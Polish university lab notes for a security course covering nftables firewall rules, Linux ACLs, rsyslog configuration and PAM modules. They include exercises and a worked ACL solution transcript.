• Podwyrażenie tcp dport 22 zawiera dwa wyrażenia podstawowe i określa filtrowanie, w którym obecna reguła zostanie uruchomiona, jeśli pakiet będzie niósł w sobie segment TCP i to w dodatku skierowany do portu 22.
• Podwyrażenie counter określa, że pakiet zostaje dodany do licznika reguły, który zawiera liczbę pakietów przetworzonych przez daną regułę.
• Wreszcie podwyrażenie accept wskazuje, co ma się stać z pakietem w ostateczności. Tutaj wskazane działanie to przyjęcie pakietu, ale możliwe byłoby też jego porzucenie (podwyrażenie drop) i inne operacje, zob. poniżej. Takie podwyrażenie decydujące o końcowym losie pakietu musi znajdować się na końcu reguły.

• accept: zaakceptowanie pakietu i zakończenie przetwarzania dalszymi regułami.
• drop: porzucenie pakietu i zakończenie przetwarzania dalszymi regułami.
• queue: zakolejkowanie pakietu do przetwarzania w przestrzeni użytkownika i zakończenie przetwarzania dalszymi regułami.
• continue: przejście do następnej reguły w łańcuchu.
• return: powrót z obecnego łańcucha do łańcucha poprzedniego. W łańcuchach bazowych równoważne jest to akcji accept.
• jump <łańcuch>: przejście do pierwszej reguły wskazanego łańcucha. Gdy we wskazanym łańcuchu wykonana zostanie akcja return, to przetwarzanie w obecnym łańcuchu jest kontynuowane od następnej reguły.
• goto <łańcuch>: nieco podobnie jak w jump następuje przejście do pierwszej reguły wskazanego łańcucha. Jednak w tym wypadku zakończenie przetwarzania we wskazanym łańcuchu oznacza zastosowanie domyślnego sposobu obsługi pakietu zgodnego z domyślnym sposobem obsługi zdefiniowanym w pierwotnym łańcuchu bazowym, od którego zaczęło się przetwarzanie pakietu.

  sudo nft add rule inet example_table example_chain position 3 tcp dport 22 counter accept

Inne typy danych w tablicach

• zbiorach
• mapach
• tablicach przepływu
• obiektech ze stanem wewnętrznym

Przykładowa tablica z łańcuchami

table firewall {
  chain incoming {
    type filter hook input priority 0; policy drop;

    # established/related connections
    ct state established,related accept

    # loopback interface
    iifname lo accept

    # icmp
    icmp type echo-request accept

    # open tcp ports: sshd (22), httpd (80)
    tcp dport {ssh, http} accept
  }
}

• przejrzyj man nft.
• przejrzyj http://www.netfilter.org/
• zajrzyj do tutorialu https://www.linkedin.com/pulse/comprehensive-guide-nftables-leading-pack...
• przydatna ściągawka: https://wiki.nftables.org/wiki-nftables/index.php/Quick_reference-nftabl...

Ćwiczenia - zapory sieciowe

1. Ogranicz za pomocą nft maksymalną wielkość pakietu ICMP-echo do 1kB.
2. Ogranicz do 3 na minutę liczbę pakietów ICMP-echo.
3. Ogranicz żądania HTTP do 2kB wielkości i do 3 na minutę.
4. Każ systemowi logować pakiety HTTP większe niż 2kB i częstsze niż 3 na minutę, ale ich nie usuwać.
5. Spraw, żeby były usuwane pakiety większe niż 3 kB, zwracając komunikat błędu ICMP-net-unreachable.

Laboratorium 1 i 2: acl, syslog

Mechanizmy lokalnej kontroli dostępu

Listy kontroli dostępu (ang. Access Control List, ACL) rozszerzają standardowy mechanizm uprawnień, kontrolujący dostęp do plików (a także katalogów, urządzeń, gniazd i innych obiektów systemu plików).

Standardowe uprawnienia definiują prawo do odczytu (r), zapisu (w) i wykonania (x) dla:

• właściciela pliku (lub innego obiektu reprezentowanego przez plik, od tego momentu nie będziemy już tego powtarzać),
• grupy, do której należy właściciel,
• pozostałych użytkowników.

ACL pozwalają na bardziej rozbudowaną kontrolę - dają możliwość przydzielania trzech wymienionych uprawnień (rwx) nie tylko dla właściciela pliku, ale dla dowolnie wskazanego użytkownika, nie tylko dla grupy pliku, ale dla dowolnie wskazanej grupy.

ACL są wspierane przez różne linuksowe systemy plików, mi.in.: xfs, ext2, ext3, ext4, reiserfs, nfs, jfs.
Co ciekawe spośród znanych systemów plików nie obsługują ACL: FAT16, FAT32, zaś system plików exFAT w jednej z wersji systemu Windows je obsługiwał, ale współczesne wersje tego systemu list ACL w exFAT nie obsługują.

Uważa się, że ACL są zgodne ze standardem POSIX. W rzeczywistości opisujące je standardy POSIX 1003.1e i 1003.2c draft 17 nie zostały oficjalnie przyjęte. ACL są również wspierane w systemach firmy Microsoft, jednak nie zachowują one pełnej zgodności ze standardem i są wspierane jedynie przez system plików NTFS.

Linux

1. Lista Kontroli Dostępu

Minimalna lista kontroli dostępu pokrywa się ze standardowymi uprawnieniami, natomiast lista rozszerzona zawiera dodatkową pozycję - maskę i może zawierać także pozycje dla poszczególnych użytkowników i grup.

W liście ACL wyróżniamy następujące typy pozycji (w nawiasach słowa kluczowe):

• właściciel (user:: lub u::)
• nazwany użytkownik (user:nazwa_użytkownika: lub u:nazwa_użytkownika:)
• grupa właściciela (group:: lub g::)
• nazwana grupa (group:nazwa_grupy: lub g:nazwa_grupy:)
• maska (mask::)
• pozostali (other::)

(Uwaga: obecna w literaturze frazeologia nazwany użytkownik czy nazwana grupa ma to do siebie, że dobrze kojarzy się z angielską terminologią, jednak spośród wielu znaczeń angielskiego słowa name najbardziej pasujące tutaj to to mention explicitly : specify).

2. Maska

Rozszerzone listy kontroli dostępu oferują możliwość maskowania uprawnień, co oznacza, że podczas obliczania efektywnych uprawnień, oprócz uprawnień zdefiniowanych dla danego użytkownika, brana jest pod uwagę także maska. Z dwoma wyjątkami: uprawnienia zdefiniowane dla właściciela i dla tzw. pozostałych (other) są zawsze efektywne (maska nie ma na nie wpływu).

Efektywne uprawnienia do pliku są koniunkcją bitową maski i uprawnień zdefiniowanych w odpowiedniej pozycji (dla nazwanego użytkownika, grupy właściciela lub nazwanej grupy).

Przykład

Jeżeli prawa do pliku zdefiniowane są w następujący sposób:

user:testowy:r-x
mask::rw-

to efektywne uprawnienia użytkownika "testowy" to: r--

Uwaga: domyślnie maska jest aktualizowana automatycznie i określa maksymalne uprawnienia dla użytkowników należących do nazwanych użytkowników, grupy właściciela lub grup nazwanych.

3. Algorytm sprawdzania uprawnień dostępu

Rozszerzone uprawnienia są stosowane wg następującego algorytmu:

• jeżeli użytkownik jest właścicielem pliku - zastosuj uprawnienia właściciela,
• jeżeli użytkownik jest na liście nazwanych użytkowników - zastosuj efektywne (patrz punkt 2) uprawnienia nazwanego użytkownika,
• jeżeli jedna z grup użytkownika jest grupą właściciela i posiada odpowiednie efektywne prawa - zezwól na dostęp,
• jeżeli jedna z grup użytkownika występuje jako grupa nazwana i posiada odpowiednie efektywne prawa - zezwól na dostęp,
• jeżeli jedna z grup użytkownika jest grupą właściciela lub należy do grup nazwanych, ale nie posiada dostatecznych efektywnych uprawnień - dostęp jest zabroniony,
• jeżeli nie zachodzi żadne z powyższych - uprawnienia tzw. pozostałych określają możliwość dostępu.

4. Polecenia

Do zarządzania listami ACL służą dwa polecenia:

• getfacl
• setfacl

Polecenie "getfacl" wypisuje rozszerzone uprawnienia do plików.

Przykład

% touch plik-testowy
% ls -l plik-testowy
-rw-r--r-- 1 janek bsk 0 2016-10-05 14:46 plik-testowy

% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
group::r--
other::r--

% getfacl plik-testowy –-omit-header
user::rw-
group::r--
other::r--

Polecenie "setfacl" pozwala modyfikować uprawnienia.

a) Zmiana uprawnień - opcja -m

Jeżeli chcemy dodać lub zmienić uprawnienia używamy opcji -m (jak modify), a następnie podajemy: pozycję z listy (patrz punkt 1), jakie uprawnienia chcemy nadać (rwx) i jakiemu plikowi.

Przykład

% setfacl -m u:ala:rwx plik-testowy

% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
user:ala:rwx
group::r--
mask::rwx
other::r--

% ls -l plik-testowy
-rw-rwxr--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

Zwróćmy uwagę na wiersz powyżej. Znak + oznacza, że plik posiada rozszerzone uprawnienia, a zamiast uprawnień grupy widzimy maskę (co nie powinno dziwić, bo maska opisuje maksymalne uprawnienia dla wszelkich grup).

Maskę możemy zmieniać korzystając z setfacl (mask::), a także poprzez chmod (zmiana praw dla grupy powoduje zmianę maski).

b) Usunięcie uprawnień - opcja -x

Opcji -x (jak exclude) używa się tak:

% setfacl -x u:ala plik-testowy
% getfacl plik.txt –-omit-header
user::rw-
group::r--
mask::r--
other::r--

% ls -l plik.txt
rw-r--r--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

Inne opcje pozwalają na przykład na usunięcie uprawnień dotyczących wszystkich pozycji (-b, jak blank), czy modyfikację uprawnień rekurencyjnie w drzewie katalogów (-R).

5. Domyślne prawa dostępu

Uprawnienia domyślne dotyczą tylko katalogów. Jeżeli katalogowi nadamy domyślne uprawnienia rozszerzone, to nowo utworzone pozycje w tym katalogu będą je dziedziczyć.

Do modyfikowania uprawnień domyślnych służy opcja -d (jak default) polecenia setfacl, po której następują znane już -m, -x itd.

Przykład dodania uprawnień domyślnych

% setfacl -d -m group:testowa:wx bsk-lab1
% getfacl bsk-lab1 –-omit-header
user::rwx
group::r-x
other::r-x
default:user::rwx
default:group::r-x
default:group:testowa:-wx
default:mask::rwx
default:other::r-x

Opcja -k kasuje domyślne uprawnienia.

Windows

Poniższe obrazki ilustrują działanie ACL w systemie Windows XP.

System plików NTFS umożliwia związanie z każdym plikiem (lub katalogiem) list kontroli dostępu. Dostęp do prostych ustawień ACL pliku jest możliwy z poziomu np. Eksploratora Windows w opcji Właściwości (menu Plik lub kontekstowe). Rozszerzone listy ACL są dostępne po wyborze uprawnień Zaawansowanych.

System Windows nie zapewniał obsługi ACL dla swoich pierwotnych systemów plików FAT (FAT16 i FAT32). W Windows CE 6 wprowadzono obsługę ACL dla systemu plików exFAT, jednak w późniejszych wersjach systemu Windows nie została ona wprowadzona.

Podsumowanie

Zalety ACL:

• Elastyczność, możliwość nadawania dowolnie skomplikowanych uprawnień bez konieczności tworzenia dużej liczby grup.
• Ułatwienie migracji, tworzenia i konfigurowania heterogenicznych środowisk z systemami operacyjnymi Windows i Linux (oprogramowanie Samba wspiera ACL).

Problemy: nie wszystkie narzędzia wspierają ACL:

• Edytory, które automatycznie zapisują zawartość w nowym pliku, a następnie zmieniają jego nazwę na oryginalną, mogą tracić informację o rozszerzonych uprawnieniach.
• Programy archiwizujące (np. tar) nie potrafią zapisywać informacji o listach kontroli dostępu.

Jedną z metod radzenia sobie z drugim problemem jest zapamiętywanie informacji ACL. Na przykład polecenie:

% getfacl -R --skip-base . >backup.acl

spowoduje zapisanie do pliku "backup.acl" informacji o ACL z całego drzewa systemu plików (opcja -R) z pominięciem domyślnych uprawnień (--skip-base). Używając polecenia setfacl z opcją --restore=backup.acl, można potem przywrócić rozszerzone uprawnienia.

Czytaj też

man 5 acl

man do poleceń: getfacl, setfacl, chmod, umask

Ćwiczenia

Ćwiczenie 1

1. Sprawdź czy istnieje użytkownik "testowy", a jeżeli nie to załóż konto o takim loginie.

2. Stwórz katalog "bsk1" z prawami 0755 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

3. Dodaj (rozszerzone) uprawnienia do odczytu, zapisu i przeszukiwania do powyższego katalogu użytkownikowi "testowy". Ponownie sprawdź uprawnienia.

4. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie.

5. Zabierz grupie właściciela prawo do pisania dla katalogu "bsk1".

6. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

7. Po zakończeniu ćwiczenia usuń katalog "bsk1" wraz z zawartością.

Ćwiczenie 2

1. Stwórz katalog "bsk2" z prawami 0777 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

2. Dodaj (rozszerzone) uprawnienia do odczytu i przeszukiwania do powyższego katalogu użytkownikowi "testowy".

3. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk2" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

4. Po zakończeniu ćwiczenia usuń katalog "bsk2" wraz z zawartością.

Ćwiczenie 3

1. Sprawdź, czy istnieje grupa "testowa", a jeżeli nie, to załóż grupę o takiej nazwie.

2. Stwórz katalog "bsk3" z prawami 0750. Jakie uprawnienia będą miały pliki założone w tym katalogu?

3. Stwórz plik "plik3a" w katalogu "bsk3".

4. Dodaj domyślne uprawnienia do katalogu "bsk3": do odczytu, zapisu i wykonywania dla grupy "testowa" oraz do odczytu i wykonywania dla pozostałych.

5. Stwórz plik "plik3b" oraz katalog "kat3" w katalogu "bsk3".

6. Porównaj uprawnienia obiektów z katalogu "bsk3".

7. Po zakończeniu ćwiczenia usuń katalog "bsk3" wraz z zawartością.

System rejestrujący - syslog

Jądro systemu, usługi systemowe i różne aplikacje zapisują informacje o swoim działaniu w dziennikach systemowych (logach). Dlatego pierwszym miejscem, do którego należy zajrzeć, kiedy jakaś usługa nie uruchamia się poprawnie, jest odpowiedni dziennik.

W systemach uniksowych i linuksowych dominującym systemem rejestracji zdarzeń jest syslog. Poznamy bliżej jedną z jego nowszych wersji o nazwie rsyslog.

Pliki dzienników

Pliki dzienników znajdują się z reguły w katalogu:

/var/log

Ważniejsze pliki które możesz tam znaleźć to :

• messages lub syslog - główny dziennik systemowy
• dmesg - komunikaty o urządzeniach wykrytych w trakcie startu systemu i o ładowanych sterownikach do tych urządzeń, do ich obejrzenia można posłużyć się programem dmesg
• boot.log - komunikaty skryptów startowych
• daemon.log - komunikaty usług
• kern.log - wszystkie komunikaty generowanie przez jądro
• auth.log - komunikaty pochodzące z części systemu odpowiedzialnej za uwierzytelnianie użytkowników (np. informacje o poleceniach wykonanych przez sudo)
• mail.log - komunikaty związane z obsługą poczty
• wtmp - zapisy logowania użytkowników do systemu, do ich oglądania służy polecenie last
• lastlog - informacja o ostatnich logowaniach, do jej oglądania służy polecenie lastlog

Wpis do dziennika jest najczęściej pojedynczym wierszem zawierającym datę i czas wystąpienia zdarzenia, a także jego rodzaj i poziom ważności.

Konfigurowanie demona (r)syslog - podstawowe reguły

Za zbieranie informacji o działaniu systemu i umieszczania ich w plikach odpowiada usługa systemowa syslogd (lub nowsza rsyslogd). Plikiem konfiguracyjnym dla syslogd jest /etc/syslog.conf a dla rsyslogd /etc/rsyslog.conf (zachowana jest zgodność wstecz).

(r)syslog umożliwia sortowanie komunikatów ze względu na źródło ich pochodzenia i stopień ważności oraz na kierowanie ich w różne miejsca: do plików, na terminale użytkowników a także na inne komputery.

Plik konfiguracyjny opisuje reguły systemu rejestrowania. Podstawowy format jest następujący:

usługa.poziom <co najmniej jeden znak tabulacji> 	przeznaczenie

Usługa określa z jakiej części systemu pochodzi informacja. Może przyjąć następujące wartości: auth, authpriv, cron, daemon, kern, ftp, local0-7, lpr, mail, mark, news, syslog, user, uucp.

Poziom określa priorytety komunikatów. Wszystkie wiadomości o tym lub wyższym priorytecie trafiają do dziennika. Poziomy ważności są następujące (w kolejności rosnącego znaczenia): debug, info, notice, warning (warn), error (err), crit, alert, emerg (panic).
Znak "=" przed nazwą poziomu wskazuje, że należy zbierać wiadomości o dokładnie takim poziomie, a "!" oznacza "oprócz tego i wyższych poziomów". Symbol "*" oznacza wszystkie usługi i poziomy a "none" - "żaden poziom". W pojedynczej regule może występować wiele usług oddzielonych przecinkami lub par usługa-poziom oddzielonych średnikami.

Przeznaczenie określa gdzie trafiają zebrane komunikaty. Może to być między innymi:

• plik - należy podać pełną ścieżkę np. /var/log/messages
• łącze nazwane (przydatne przy debugowaniu) - nazwa łącza jest poprzedzona znakiem |
• terminal np. tty6
• maszyna zdalna - nazwa maszyny poprzedzona jest znakiem @, np. @192.168.0.1
• lista użytkowników np: root,admin (stara składnia) lub :omusrmsg:root,admin (składnia rsyslog); * lub :omusrmsg:* spowoduje wyświetlenie komunikatu wszystkim zalogowanym użytkownikom
• śmietnik: ~

Nazwa pliku poprzedzona "-" oznacza, że system plików nie powinien być synchronizowany po zapisaniu każdego wpisu do dziennika (włączone buforowanie).

Przykład

mail.info		/var/log/mail.log

Powyższy wpis spowoduje, że komunikaty systemu pocztowego o poziomach info i wyższych będą trafiały do pliku /var/log/mail.log a następujący:

*.emerg;user.none	             *

że wszystkie komunikaty awaryjne oprócz takich, które są generowane przez procesy użytkownika, pojawią się na ekranach wszystkich zalogowanych użytkowników.

Przykładowy plik rsyslog.conf znajdziesz na końcu scenariusza.

Aby zmusić demona (r)syslog działającego nieprzerwanie do ponownego odczytania pliku konfiguracyjnego należy wysłać do niego sygnał HUP. Pid procesu demona jest zapisany w pliku /var/run/rsyslogd.pid, więc właściwe polecenie ma następującą postać:

% kill -HUP $(cat /var/run/(r)syslogd.pid)

Co można zrobić również w następujący sposób:

% /etc/init.d/rsyslog restart

Do sprawdzenia poprawności składniowej pliku konfiguracyjnego służy polecenie:

% rsyslogd -f /etc/rsyslog.conf -N1

Nowe możliwości rsyslog

System rejestrujący pozwala także na korzystanie z tzw. modułów - wtyczek zapewniających różnorodną funkcjonalność. Polecenia dołączenia odpowiednich modułów powinny znaleźć się na początku pliku konfiguracyjnego. Dzięki schematom (templates) można określić format logowanej wiadomości.

Rsyslog umożliwia także filtrowanie wiadomości na podstawie jej zawartości. Udostępnia operacje porównywania takie jak: contains, isequal, startswith, regex. Ogólna postać polecenia jest następująca:

:własność,[!]operacja, "wzorzec"

gdzie najczęściej wykorzystywaną własnością jest :msg (treść komunikatu).

Przykład

:msg,contains,"iptables"                     /var/log/iptables.log
:msg,regex,"fatal .* error"                   /var/log/fatal-error.log

Rsyslog może także zapisywać informacje do baz danych MySQL lub PostgreSQL (po instalacji pakietu rsyslog-mysql lub rsyslog-pgsql). Jako miejsce przeznaczenia można wtedy podać nazwę tabeli.

Kolejną możliwością rsyslog jest wybór protokołu TCP lub RELP zamiast UDP. Nazwę maszyny przeznaczenia należy poprzedzić znakiem @@ (TCP) lub :omrelp: (RELP). Wcześniej należy załadować odpowiedni moduł.

Po instalacji rsyslog domyślnie czas jest zapisywany w skróconej formie: np. 2016-10-05 14:17:42 odpowiada za to poniższa linia w pliku konfiguracyjnym (by włączyć dokładne zapisywanie czasu - trzeba zamienić ją na komentarz).

$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat

Logger

Polecenie logger jest interfejsem do systemu syslog z poziomu interpretera poleceń (powłoki). Warto je wykorzystać do testowania zmian w pliku konfiguracyjnym. Na przykład aby sprawdzić regułę:

local2.info		/tmp/test.log

możesz wydać polecenie:

% logger -p local2.info "test local2 info"

Logrotate

Samo zbieranie i czytanie dzienników to nie wszystko o co powinien zadbać administrator - na maszynach z setką intensywnie pracujących użytkowników mogą one przyrastać bardzo szybko powodując przepełnienie systemu plików. Należy pamiętać, że samo skasowanie pliku nie rozwiązuje problemu (i-węzeł pliku nie zostanie zwolniony, dopóki plik nie zostanie zamknięty). Aby ułatwić zadania administratorowi system udostępnia polecenie logrotate, które umożliwia rotację plików z dziennikami, ich kompresję, przesyłanie pocztą do użytkowników i usuwanie. Jest zazwyczaj uruchamiany codziennie jako zadanie regularne przez podsystem cron. Jego plik konfiguracyjny to /etc/logrotate.conf

Analiza dzienników

Istnieją również narzędzia wspomagające analizowanie dzienników, tworzące odpowiednie raporty i przesyłające je pod wskazany adres. Przykładami takich narzędzi są swatch i logcheck.

Zobacz też

man rsyslog.conf
man rsyslogd
man logger
man logrotate

http://www.rsyslog.com/doc/rsyslog_conf.html

Alternatywa dla syslog: systemd

Ćwiczenia

1. Przejrzyj zawartość katalogu /var/log. Sprawdź czasy ostatniej modyfikacji plików. Czy znajdują się tam pliki skompresowane? Wyświetl ostatnie wpisy wybranych logów (skorzystaj z tail).

2. Wykonaj polecenie sudo su, a następnie sprawdź, w którym pliku pojawiła się informacja o tym (przydatne może okazać się polecenie ls -ltr).

3. Znajdź w plikach konfiguracyjnych logrotate zasady rotowania plików dla kern.log i syslog.

4. Wykonaj polecenia dmesg i last.

5. Przeczytaj /etc/rsyslog.conf i przy pomocy polecenia logger sprawdź kilka reguł. Spróbuj wskazać komunikaty, które trafiają do więcej niż jednego dziennika.

6. Zmodyfikuj plik konfiguracyjny i skorzystaj z polecenia logger do wysłania komunikatu do wszystkich użytkowników, wybranego użytkownika, na wybrany terminal, na inny komputer.

7. Zastosuj filtrowanie wiadomości na podstawie jej zawartości.

$ useradd -m testowy

$ mkdir bsk1 -m 0755
$ ls -ld bsk1
drwxr-xr-x 2 root root 6 Sep 17 08:04 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
group::r-x
other::r-x

$ setfacl -m u:testowy:rwx bsk1
$ ls -ld bsk1
drwxrwxr-x+ 2 root root 6 Sep 17 08:04 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
user:testowy:rwx
group::r-x
mask::rwx
other::r-x

$ chmod g-w bsk1
$ ls -ld bsk1
drwxr-xr-x+ 2 root root 17 Sep 17 08:11 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
user:testowy:rwx		#effective:r-x
group::r-x
mask::r-x
other::r-x

$ rm -rf bsk1

$ mkdir bsk2 -m 0777
$ ls -ld bsk2
drwxrwxrwx 2 root root 6 Sep 17 08:28 bsk2
$ getfacl bsk2
# file: bsk2
# owner: root
# group: root
user::rwx
group::rwx
other::rwx

$ setfacl -m u:testowy:rx bsk2
$ ls -ld bsk2
drwxrwxrwx+ 2 root root 6 Sep 17 08:28 bsk2
$ getfacl bsk2
# file: bsk2
# owner: root
# group: root
user::rwx
user:testowy:r-x
group::rwx
mask::rwx
other::rwx

$ rm -rf bsk2

$ mkdir bsk3 -m 0750
$ umask
0077

$ touch bsk3/plik3a
$ ls -l bsk3/plik3a
-rw------- 1 root root 0 Sep 17 08:51 plik3a

setfacl -d -m g:testowa:rwx,o:rx bsk3
$ ls -ld bsk3
drwxr-x---+ 2 root root 29 Sep 17 08:53 bsk3
$ getfacl bsk3
# file: bsk3
# owner: root
# group: root
user::rwx
group::r-x
other::---
default:user::rwx
default:group::r-x
default:group:testowa:rwx
default:mask::rwx
default:other::r-x

$ touch bsk3/plik3b
$ ls -l bsk3
total 0
-rw-------  1 root root 0 Sep 17 08:53 plik3a
-rw-rw-r--+ 1 root root 0 Sep 17 09:00 plik3b
$ getfacl bsk3/plik3b
# file: bsk3/plik3b
# owner: root
# group: root
user::rw-
group::r-x			#effective:r--
group:testowa:rwx		#effective:rw-
mask::rw-
other::r--

$ rm -rf  bsk3

Laboratorium 3 i 4: buffer overflow

Na początek należy przypomnieć sobie assemblera na poziomie umożliwaijącym zrozumienie krótkiego programu.

Ćwiczenia

• Napisać w C program, który wczytuje liczbę i jeżeli jest równa 42 wypisuje "TAK". Z pliku wykonywalnego odczytać kod assemblerowy i odnaleźć fragmenty wykonujące poszczególne elementy programu (funkcję main, wczytywanie, porównanie, wypisywanie, napis "TAK").
• Napisać kod w assemblerze, który można wywołać jako funkcję w C z parametrem typu int, która zwraca int - 13 jeżeli podana liczba była podzielna przez 4 a 0 w przeciwnym przypadku.

A następnie postępować według scenariusza laboratoryjnego z zeszłego roku: https://www.mimuw.edu.pl/~kdr/bsk/lab5 .

Laboratorium 5 i 6: pam, sudo

Plugawe Autoryzacji Moduły: modularne systemy autoryzacji w Linuksie

Cel: umożliwienie elastycznej kontroli dostępu do systemu i programów przez wprowadzenie możliwości definiowania własnych modułów dostępu.

Rozwiązanie: ładowalne moduły autoryzacji (Pluggable Authorization Modules, PAM), popularnie zwane wtyczkami, zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne). Oprócz autoryzacji mają dodatkowe możliwości, takie jak nakładanie dodatkowych ograniczeń (np. na liczbę jednoczesnych loginów).

Dla danej aplikacji administrator ustala (plikiem konfiguracyjnym), które z nich mają być użyte.

3 poziomy:

1. Programista aplikacji:

umieszcza w programie (np. /bin/login) odpowiednie wywołania funkcji dla ładowalnych modułów autoryzacji (no i linkuje program z odpowiednią biblioteką).

2. Programista modułów:

pisze ładowalne moduły autoryzacji zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne), które będą używane w aplikacjach.

3. Administrator:

instaluje i modyfikuje pliki konfiguracyjne dla aplikacji i modułów autoryzacji (i zapewne także instaluje moduły w systemie).

Na co dzień najbardziej istotny jest poziom 3.

Struktura systemu PAM dzieli się na 4 w miarę niezależne grupy zarządzania (zwane też typami):

- auth: zarządzanie identyfikacją, uwierzytelnieniem oraz podstawowymi formami autoryzacji,

- account: zarządzanie kontami i bardziej zaawansowaną autoryzacją: określanie, czy użytkownik ma prawo dostępu do danej usługi, czy może zalogować się o danej porze dnia itp.

- session: zarządzanie sesjami (np. limity),

- password: zarządzanie aktualizacją żetonów identyfikujących (np. haseł).

Niektóre programy, np. login, potrzebują usług z wszystkich czterech grup. Inne, takie jak passwd, mogą korzystać tylko z wybranych grup.

Każda aplikacja chcąca używać PAM ma plik konfiguracyjny zawierający listę modułów dla procesu uwierzytelniania. Nazwa pliku nie musi być zgodna z nazwą aplikacji, często na początek używa się ,,cudzych'' sprawdzonych plików.

Pliki te znajdują się w katalogu /etc/pam.d (w starych wersjach mógł być jeden wspólny plik /etc/pam.conf, obecnie jest on używany tylko gdy brak katalogu /etc/pam.d), na przykład dla /bin/login login plikiem tym będzie /etc/pam.d/login.

Plik konfiguracyjny o nazwie other zawiera wartości domyślne (zwykle zabrania wszystkiego). Są w nim tylko odwołania do modułu pam_deny, ewentualnie poprzedzone przez odwołaniami do pam_warn. Tego pliku używa się (również jako początkowego szablonu) dla services bez własnych plików konfiguracyjnych (oczywiście gdy używają PAM).

Moduł pam_deny po prostu odmawia dostępu (zawsze zwraca niepowodzenie).
Moduł pam_warn rejestruje w syslogu informacje o wykonywanej operacji.

Inny popularny plik używany powszechnie to login.

Wpisy mają postać:

<grupa>  <kategoria>  <moduł> [<argumenty>]

np.

auth     required     pam_securetty.so
auth     required     pam_unix.so

gdzie <kategoria> to jedna z wartości:

- requisite niepowodzenie natychmiast wraca do aplikacji z błędem,
- required każdy taki moduł musi zwrócić sukces,
- sufficient sukces takiego modułu i wszystkich jego poprzedników, powoduje zwrócenie sukcesu do aplikacji (niepowodzenie jest ignorowane),
- optional ,,ozdobnik'' bez wpływu na sukces lub niepowodzenie.

albo ,,pseudokategoria'':

- include,
- substack.

Uwaga: dawniej zamiast pseudokategorii był moduł pam_stack.so --- powodował
dołączenie list z innego podanego pliku (zwykle system-auth). Można natknąć
się na takie przykłady w Internecie.

Ostatnio w PAM wprowadzono kategorie złożone, zapisywane w nawiasach
kwadratowych. Pozwalają uzależnić wybór akcji od konkretnej wartości
zwróconej przez moduł (a nie tylko sukces/porażka). Nie będziemy ich
używać, ale mogą wystąpić w plikach, które będziecie podglądali.

Poszczególne moduły ładowane są kolejno, wiele z nich ma pliki konfiguracyjne zawarte w katalogu /etc/security.

Modułów PAM jest wiele, są one typu open-source, więc można je samodzielnie modyfikować. Można też pisać własne. Technicznie moduł to biblioteka ładowalna dynamicznie przez nazwę (wywołaniem dlopen()).

Trzyma się je standardowo w jakimś katalogu security, np.

/lib/security
/lib64/security
/usr/lib/security
/usr/lib64/security

Zwykle nazwa modułu to pam_cośtam.so, najczęściej działa

man pam_cośtam

Przykłady:

Moduł pam_access zarządza klasycznym logowaniem do systemu lub aplikacji. W celu uaktywnienia modułu pam_access dla aplikacji login należy do jej pliku konfiguracyjnego dodać na końcu grupy account wiersz:

account  required  pam_access.so

Moduł pam_access ma plik sterujący /etc/security/access.conf. Każdy wiersz w nim ma postać

<uprawnienie> : <użytkownicy> : <miejsca>

Uprawnienie to jeden ze znaków + lub -. Nazwy użytkowników można oddzielać spacjami. Miejsce to nazwa komputera, LOCAL oznacza dostęp lokalny.

Do nakładania limitów służy moduł pam_limits:

session  required  pam_limits.so

z plikiem konfiguracyjnym limits.conf. Składnia wierszy:

<dziedzina>  <typ>  <ograniczenie>  <wartość>

gdzie <dziedzina> określa użytkowników lub grupy, <typ> to hard lub soft, zaś <ograniczenie> to np. fsize lub nproc. Aby pozwolić użytkownikowi guest tylko na jednokrotne logowanie, należy tam wpisać

guest  hard  maxlogins  1

Moduł pam_securetty ogranicza do konsoli możliwość logowania się na konto root.

Nie ma ,,kompletnej'' listy modułów. W dokumentacji administratora
wymienione są te, które w danym momencie przychodzą z pakietem.
Ta lista się zmienia :-(żółw się rusza).

Poniżej częściowy wykaz:

pam_access: zobacz wyżej.

pam_cracklib: sprawdza jakość hasła ze słownikiem.

pam_debug: tylko do testowania.

pam_deny: zobacz wyżej.

pam_echo: wypisuje zawartośc pliku.

pam_env: ustawia zmienne środowiska.

pam_exec: wywołuje zewnętrzne polecenie.

pam_lastlog: odnotowuje czas ostatniego logowania w pliku /var/log/lastlog.

pam_ldap: autoryzacja w oparciu o LDAP server (niestandardowy).

pam_limits: nakłada ograniczenia na zasoby, plik /etc/security/limits.conf.

pam_listfile: alternatywna wersja pam_access.

pam_mail: sprawdza, czy użytkownik ma nową pocztę.

pam_motd: wypisuje "message of the day", zwykle z /etc/motd.

pam_nologin: jeśli istnieje plik /etc/nologin lub /var/run/nologin, to zwraca niepowodzenie, przy okazji wypisując zawartość tego pliku. Dla root'a zawsze OK.

pam_permit: zawsze zwraca sukces.

pam_pwhistory: sprawdza nowe hasło z ostatnio używanymi.

pam_rootok: tylko root, zwykle umieszcany w /etc/pam.d/su jako "sufficient" test, żeby root mógł stawać się zwykłym użytkownikiem bez podawania hasła.

pam_securetty: sprawdza, czy ten użytkownik ma prawo się logować z tego urządzenia. Zagląda do pliku /etc/securetty file --- jest to wyjątek, bo większość plików pomocniczych jest w /etc/security.

pam_shells: wpuszcza tylko, gdy shell użytkownika jest legalny (tz. wymieniony w pliku /etc/shells).

pam_succeed_if: pozwala sprawdzać różne warunki.

pam_tally: prowadzi licznik prób dostępu, odmawia gdy było za dużo.

